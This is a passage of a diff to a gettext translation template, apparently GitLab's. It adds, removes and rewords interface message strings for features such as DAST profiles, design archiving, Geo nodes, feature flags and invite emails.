+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr ""
@@ -6310,7 +6460,7 @@ msgstr ""
msgid "Configure Tracing"
msgstr ""
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
@@ -6763,9 +6913,6 @@ msgstr ""
msgid "Copy"
msgstr ""
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr ""
@@ -6850,6 +6997,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -6862,6 +7012,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr ""
@@ -6886,15 +7039,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr ""
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr ""
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -6925,6 +7084,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr ""
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -6940,6 +7102,11 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Create"
msgstr ""
@@ -7030,6 +7197,9 @@ msgstr ""
msgid "Create file"
msgstr ""
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr ""
@@ -7066,6 +7236,9 @@ msgstr ""
msgid "Create new branch"
msgstr ""
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr ""
@@ -7090,6 +7263,9 @@ msgstr ""
msgid "Create project label"
msgstr ""
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr ""
@@ -7261,6 +7437,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr ""
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr ""
@@ -7357,6 +7536,15 @@ msgstr ""
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7521,6 +7709,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -7551,25 +7742,55 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7578,7 +7799,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7590,6 +7820,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7599,12 +7832,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr ""
@@ -7677,7 +7967,7 @@ msgstr ""
msgid "Default classification label"
msgstr ""
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7755,10 +8045,10 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
-msgid "Delete Package"
+msgid "Delete Snippet"
msgstr ""
-msgid "Delete Snippet"
+msgid "Delete account"
msgstr ""
msgid "Delete artifacts"
@@ -7815,6 +8105,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -7836,15 +8129,24 @@ msgstr ""
msgid "Deleted"
msgstr ""
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted in this version"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr ""
@@ -7854,6 +8156,9 @@ msgstr ""
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr ""
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -7880,6 +8185,11 @@ msgid_plural "Dependencies|%d additional vulnerabilities not shown"
msgstr[0] ""
msgstr[1] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -7888,6 +8198,9 @@ msgstr[1] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr ""
@@ -7900,6 +8213,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -7918,6 +8234,9 @@ msgstr ""
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -7956,8 +8275,8 @@ msgid_plural "Depends on %d merge requests being merged"
msgstr[0] ""
msgstr[1] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgstr[1] ""
@@ -8002,7 +8321,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8236,13 +8555,22 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8275,15 +8603,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8365,7 +8684,10 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8374,6 +8696,9 @@ msgstr ""
msgid "Diff limits"
msgstr ""
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8386,7 +8711,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr ""
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8491,9 +8819,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr ""
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8508,7 +8833,7 @@ msgid_plural "Dismiss %d selected vulnerabilities as"
msgstr[0] ""
msgstr[1] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8760,9 +9085,6 @@ msgstr ""
msgid "Edit comment"
msgstr ""
-msgid "Edit dashboard"
-msgstr ""
-
msgid "Edit description"
msgstr ""
@@ -9051,9 +9373,6 @@ msgstr ""
msgid "Enable usage ping"
msgstr ""
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9222,6 +9541,9 @@ msgstr ""
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr ""
@@ -9246,7 +9568,7 @@ msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9525,6 +9847,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr ""
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -9852,7 +10177,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -9873,6 +10198,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr ""
@@ -9882,9 +10210,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -9897,9 +10222,6 @@ msgstr ""
msgid "Expand approvers"
msgstr ""
-msgid "Expand down"
-msgstr ""
-
msgid "Expand dropdown"
msgstr ""
@@ -9909,9 +10231,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr ""
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -9924,9 +10243,6 @@ msgstr ""
msgid "Expiration date"
msgstr ""
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr ""
@@ -10358,12 +10674,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10448,6 +10770,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr ""
@@ -10457,9 +10782,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10499,6 +10821,9 @@ msgstr ""
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10724,6 +11049,9 @@ msgstr ""
msgid "Footer message"
msgstr ""
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr ""
@@ -10895,30 +11223,15 @@ msgstr ""
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr ""
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr ""
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
msgstr ""
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr ""
-msgid "GeoNodes|Failed"
-msgstr ""
-
msgid "GeoNodes|Full"
msgstr ""
@@ -10934,12 +11247,6 @@ msgstr ""
msgid "GeoNodes|Internal URL"
msgstr ""
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr ""
@@ -10967,12 +11274,6 @@ msgstr ""
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr ""
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -10994,15 +11295,6 @@ msgstr ""
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr ""
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Repository verification progress"
-msgstr ""
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -11030,27 +11322,12 @@ msgstr ""
msgid "GeoNodes|Unused slots"
msgstr ""
-msgid "GeoNodes|Unverified"
-msgstr ""
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr ""
-msgid "GeoNodes|Verified"
-msgstr ""
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr ""
-
-msgid "GeoNodes|Wikis"
-msgstr ""
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -11063,6 +11340,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11126,6 +11409,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr ""
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11258,10 +11547,10 @@ msgstr ""
msgid "Geo|Waiting for scheduler"
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11438,7 +11727,7 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr ""
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11555,7 +11844,10 @@ msgstr ""
msgid "Go to %{link_to_google_takeout}."
msgstr ""
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -11837,6 +12129,9 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12113,7 +12408,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12326,6 +12621,9 @@ msgstr ""
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr ""
@@ -12341,6 +12639,9 @@ msgstr ""
msgid "Hello there"
msgstr ""
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr ""
@@ -12471,6 +12772,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -12627,6 +12931,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -12780,6 +13090,9 @@ msgstr ""
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
@@ -12795,6 +13108,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -12807,13 +13123,13 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
@@ -12822,21 +13138,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr ""
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -12849,6 +13168,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -12867,6 +13189,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -12942,6 +13267,9 @@ msgstr ""
msgid "Index all projects"
msgstr ""
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr ""
@@ -13008,6 +13336,9 @@ msgstr ""
msgid "Install on clusters"
msgstr ""
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr ""
@@ -13022,7 +13353,7 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
+msgid "Instance Statistics"
msgstr ""
msgid "Instance administrators group already exists"
@@ -13049,6 +13380,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -13061,13 +13398,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -13097,7 +13431,7 @@ msgstr ""
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13109,9 +13443,15 @@ msgstr ""
msgid "Invalid Login or password"
msgstr ""
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr ""
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13208,6 +13548,39 @@ msgstr ""
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13247,6 +13620,9 @@ msgstr ""
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr ""
@@ -13346,9 +13722,6 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13490,6 +13863,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13532,6 +13908,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr ""
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13547,6 +13926,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -13835,7 +14217,7 @@ msgstr ""
msgid "Labels can be applied to issues and merge requests."
msgstr ""
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
msgstr ""
msgid "Labels|Promote Label"
@@ -14065,7 +14447,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
